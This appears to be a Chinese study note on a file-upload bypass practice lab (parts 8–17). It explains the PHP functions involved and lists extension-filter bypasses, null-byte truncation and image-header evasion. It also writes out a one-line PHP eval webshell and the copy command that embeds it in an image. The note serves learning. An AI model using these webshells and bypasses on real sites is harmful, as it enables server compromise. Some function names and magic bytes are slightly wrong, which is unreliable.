观内心而本自具足 阅万物而虚怀若谷 |
释义:要从内心寻找自己的优点和特长,认识自己的价值和能力,不要被外界的评价和标准所左右,坚信自己有独特的才华和潜力。
认识世界,学习知识,接触人际关系时,要像一个空谷一样容纳,不断吸收新鲜事物,不断学习成长。
1.
PHP有一个系统函数is_array()可以判断一个值是否在数组中。
语法如下:in_array(value,array,type)
return boolen
参数说明:
value :要搜索的值
array : 被搜索的数组
type : 类型,true全等 ,false非全等(默认)
$_FILES数组内容如下: $_FILES['myFile']['name'] 客户端文件的原名称。 $_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。 $_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 $_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的。
move_upload_file(filename,destination)函数:将上传的文件移动到指定位置
preg_match():执行正则表达式
part 8(点绕过)
和上一个一样,直接burp抓包,然后修改,在后面加一个点
part 9(::$DATA绕过)
php 在windows 中的时候文件名加" ::$DATA"中会把::$DATA之后的数据当中数据流,不会检测后缀
都一样,burp直接抓包,然后在后面加::$DATA
part 10(点空格点绕过)
因为在禁止的里面没有这个. .然后根据Windows的命名规则可以直接去除
burp抓包,然后在后面加. .
part 11(双写php绕过)
str_replace这个区分大小写
str_ireplace这个不区分大小写
这个函数如果是一个数组,返回值也是一个数组
替换后不会再一次替换,所以只需要pphphp或者phphpp
part12(%00截断白名单)
substr函数
函数格式 (俗称:字符截取函数)
substr(string string, int a, int b)
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度
substr(string string, int a) ;
1、string 需要截取的字符串
2、a 可以理解为从第a个字符开始截取后面所有的字符串。
这个函数注意
1.0和1都是从第一个字符开始
2.空格也算一个字符
3.负数从后面开始取
如果小于
只要 |a| ≤ b,取a的个数
当 |a| ≥ b时,才取b的个数,由a决定截取位置
类如
select substr('HelloWorld',-2,3) 返回结果:ld
select substr('HelloWorld',-4,3) value from dual; //返回结果:orl
strrpos函数 strrpos(string,find,start)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定在何处开始搜索。 |
利用0x00是字符串的结束标识符,进行截断处理。
只不过GET传参需要url编码成%00而已
这个截断在路径上
1.这个需要先修改phpstudy
修改版本,修改为5.2.17
其他选项菜单->php拓展及设置->参数开关设置->关闭magic_quotes_gpc
2.上传1.php
3.burp抓包
修改名字和路径
将名字修改为1.ipg或者白名单里的哪些,都可
路径在upload后加1.php%00
part 13(0X00截断)
和上一关很像,只不过这个是post,上一个是get
俩种方法
1.POST不需要url编码
和上面一样,修改名字1.jpg,修改路径1.php%00
然后将%00进行编码
Convert selection->URL->url-decode
2.在upload后加1.php+
然后在hex中将2b改为00
part 14
@unpack
作用:将字典进行解包,输出测试用例中的单个字段的值
intval函数
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
小数返回的是整数
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
头俩个字节
png(无损压缩格式):0x89 0x5
gif(支持动画的图像格式):0x47 0X49
bmp(windows位图格式):0X42 0X4D
这一关的代码
先读取文件,以只读的方式进行读取,然后关闭
然后读出来数据,转换为十进制
漏洞是因为include
使用CMD制作一句话木马。
-
参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件
-
参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文
-
**制作图片马命令**:copy 图片文件名称/b+脚本文件名称/a 新生成的文件名称,例如:copy 222.jpg/b+111.php/a 333.jpg
一句话木马<?php @eval($_POST["a"]);?>
首先在cmd中打开俩个文件在的地方
cmd相关(一小部分)
cd Desktop 桌面
d: 或者c: 进入D盘或者C盘
cd ..
能返回上一级目录
cd \
跳转到根目录
还有更简单的方法,直接在文件在的地方输入cmd,回车就行
dir 遍历当前路径下的所有文件
md 创建一个目录
rd 删除目录
copy就是复制啦
move移动
del 删除文件
ping指令
语法:ping ip(ip地址)
功能:用来测试网络是否畅通。
要打开文件夹下的文件要一个一个来
例如,我想打开原始路径为D:\mysql-5.7.20-winx64\docs\my.txt的文件,则需要在cmd中输入:
D:回车
D:\>cd mysql-5.7.20-winx64回车
D:\mysql-5.7.20-winx64>cd docs回车
D:\mysql-5.7.20-winx64>docs>cd my.txt。即可
构造好那个图片马上传,然后通过url访问刚刚构造好的,会重新上传一个,将那个看看是啥,写过来
构造的URL为include.php?file=upload/3420210320172751.png
这里好乱,,因为我在慢慢了解,救命
part 15(getimagesize() 函数绕过)
用那个getimagesize() 函数检测
和上面的一样,构造图片马
part 16(exif_imagetype()函数绕过)
exif_imagetype()读取一个图像的第一个字节并检查其后缀名
phpStudy版本>5.3。
在php.ini中开启allow_url_fopen选项。
开启php_exif模块(在php拓展及设置 php拓展)
也和上面一样
part 17